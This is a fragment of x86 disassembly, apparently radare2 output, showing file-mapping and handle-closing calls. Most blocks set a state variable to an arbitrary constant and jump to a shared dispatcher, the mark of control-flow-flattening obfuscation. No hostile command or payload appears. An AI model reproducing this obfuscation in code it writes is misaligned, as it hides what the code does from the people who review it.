call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1a4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x1b0], 0x2a37db94
jmp 0x40d4e3
mov eax, dword [ebp - 0x120]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1b0], 0xe0d037d7
jmp 0x40d4e3
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00425da0
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x1b0], 0x20716b18
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0x901e603f
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xf2be46de
jmp 0x40d4e3
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x1b0], 0x20552f68
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xc5b1fd20
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1b0], 0xd1853188
jmp 0x40d4e3
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1b0], 0xbf679e0
jmp 0x40d4e3
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1b0], 0xa5392b8b
jmp 0x40d4e3
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x1b0], 0xf08c7ddc
jmp 0x40d4e3
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x1b0], 0x9a9d41d1
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xa091a433
jmp 0x40d4e3
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1b0], 0x2fef6847
jmp 0x40bce8